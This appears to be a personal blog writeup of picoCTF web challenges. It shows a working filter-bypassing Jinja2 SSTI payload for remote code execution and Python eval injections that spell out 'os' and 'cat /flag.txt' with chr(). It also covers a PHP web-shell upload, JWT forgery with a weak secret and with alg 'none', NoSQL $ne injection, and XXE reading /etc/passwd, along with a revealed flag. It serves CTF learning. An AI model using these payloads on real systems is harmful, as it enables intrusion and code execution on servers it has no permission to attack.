< back

PicoCTF Web Medium Writeup

SSTI2

I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :) I heard templating is a cool and modular way to build web apps! Check out my website

http://shape-facility.picoctf.net:63568/

Website is vulnerable to SSTI a

Based on the server response header and templating evaluation, most probably a Python templating engine, Jinja2 b

A typical Jinja SSTI payload is {{ ().class.base.subclasses() }}

The app filters certain characters like _, we can bypass the filter by replacing _ with \x5f. To make our payload more subversive, we can also change the way we get attribute of an object from foo.bar to foo|attr("bar").

{{()|attr('\x5f\x5fclass\x5f\x5f')}}

|attr('\x5f\x5f\x5f\x5f')

# list the subclasses avaliable
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()}}

We can manually find the offset for os class or we can access the os class through the built python builtin functions. The example below utilise the request class to access python builtin functions.

{{request.application.__globals__.
__builtins__.__import__('os').popen('id').read()}}

We can access the subclasses of each special methods in function as such __globals__.__builtins__. Since we are bypassing the filter, we can convert our payload from __globals__.__builtins__ to attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')

The final payload

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

SSTI to get RCE c

Locate the flag and read it d

e

3v@l

ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?

Server response suggests that it is a python application

Payload code=7*7 will show 49 in the HTML response. There seems to be some sort of evaluation of expressions. A possibility maybe through templating engine or functions like eval().

code=__import__('os').system('id')

Since the user input is being evaluated, we can use chr(111)+chr(115) instead of the string os. Make sure to URL encode the + to %2b. You can get the unicode integer of a character using chr('o') -> 111

List directory, again we are faced with forbidden keyword ls.

>>> ord('l')
108
>>> ord('s')
115
>>> ord(' ')
32
>>> ord('-')
45
>>> ord('a')
97
code=__import('os').popen('ls -la').read()

code=__import__(chr(111)%2bchr(115)).popen(chr(108)%2bchr(115)%2bchr(32)%2bchr(45)%2bchr(108)%2bchr(97)).read()

The flag is in /flag.txt

code=__import('os').popen('ls -la /').read()

code=__import__(chr(111)%2bchr(115)).popen(chr(108)%2bchr(115)%2bchr(32)%2bchr(45)%2bchr(108)%2bchr(97)%2bchr(32)%2bchr(47)).read()

Read the flag

code=__import('os').popen('cat /flag.txt').read()

99 97 116 32 47 102 108 97 103 46 116 120 116

code=__import__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(46)%2bchr(116)%2bchr(120)%2bchr(116)).read()

Another way to build the string via chr is using join method and lambda function

''.join([chr(x) for x in [47, 102, 108, 97, 103, 46, 116, 120, 116]]).read()

Trickster

I found a web app that can help process images: PNG images only!

There is a server side check for PNG magic bytes, .png in the filename. The form-data Content-Type is not checked

Note that the Response header shows Apache, Debian and PHP.

http://atlas.picoctf.net:51620/robots.txt

http://atlas.picoctf.net:51620/instructions.txt

Upload our simple PHP web shell

http://atlas.picoctf.net:51620/uploads/shell.png.php?cmd=id

Snoop around the system to get the flag

Java Code Analysis

BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book! Here are the credentials to get you started:

  • user:user

The source code is also provided.

After login, user session is via JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlacZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTc1ODI3MTA5MCwiaWF0IjoxNzU3NjY2MjkwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.dE5z711e4aTUJjEORDffR9tHMNCkMTX3J4bHN_kURQI

The source code is provided. The JWT secret is obtained at line 26 of src/main/java/io/github/nandandesai/pico/security/JwtService.java

Tracing the code src/main/java/io/github/nandandesai/pico/security/SecretGenerator.java, there is a possibility that the secret used on the production server is 1234.

We can forge the JWT token using the secret 1234. There are many ways of doing it, e.g. jwt.io, burp JWT Web token extension.

Forge the token to get the flag that is only accessible by admin. The src/main/java/io/github/nandandesai/pico/security/BookPdfAccessCheck.java shows that authorization verification checks the user role based on the userId.

The code at src/main/java/io/github/nandandesai/pico/controllers/UserController.java shows us an endpoint to query user information.

Our low privileged user is able to access this endpoint. We can get the admin userId and other details.

Forge the token with the known secret 1234

No SQL Injection

Can you try to get access to this website to get the flag? Source code is provided

Intercept a normal login request with invalid credentials

Attempt to perform simple operation injection but failed.

Inpsecting server.js implementation of POST /login shows JSON.parse() being used. Our nested object {"$ne":"invalid"} in the payload should be stringify instead.

The flag is base64 encoded in the the token of the response.

findme

Help us test the form by submiting the username as test and password as test!

test:test!

redirected to:

base64 decode

  • cGljb0NURntwcm94aWVzX2Fs -> picoCTF{proxies_al
  • bF90aGVfd2F5X2QxYzBiMTEyfQ== -> l_the_way_d1c0b112}"

picoCTF{proxies_all_the_way_d1c0b112}

SOAP

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

The website has a feature where we can query information via a POST request and xml data

Very straight forward challenge. Simply create a DOCTYPE element that defines an external entity containing the target file /etc/passwd. Then reference the external entity variable in the xml payload for the XML service to process it.

More SQLi

Can you find the flag on this website.

The response reveals the SQL query

MatchTheRegex

How about trying to match a regular expression

Inspect the DOM or HTML source and we see the logic of how the request is checked

Power Cookie

Can you get the flag?

Change the cookie value in the following request from isAdmin=0 to isAdmin=1

Forbidden Paths

Can you get the flag? We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

Path traversal in file read feature

JAuth

Most web application developers use third party components without testing their security. Some of the past affected companies are:

  • Equifax (a US credit bureau organization) - breach due to unpatched Apache
  • Struts web framework CVE-2017-5638
  • Mossack Fonesca (Panama Papers law firm) breach - unpatched version o
  • Drupal CMS used
  • VerticalScope (internet media company) - outdated version of vBulletin forum software used

Can you identify the components and exploit the vulnerable one? Can you become admin?

Credentials: test:Test123!

The JWT token set is vulnerable to header attack. We can modify the header to specify “alg”:“none”. The server handling the token will accept none algorithm and not validate the signature.

Change the role from user to admin.

Nicholas Ch • © 2025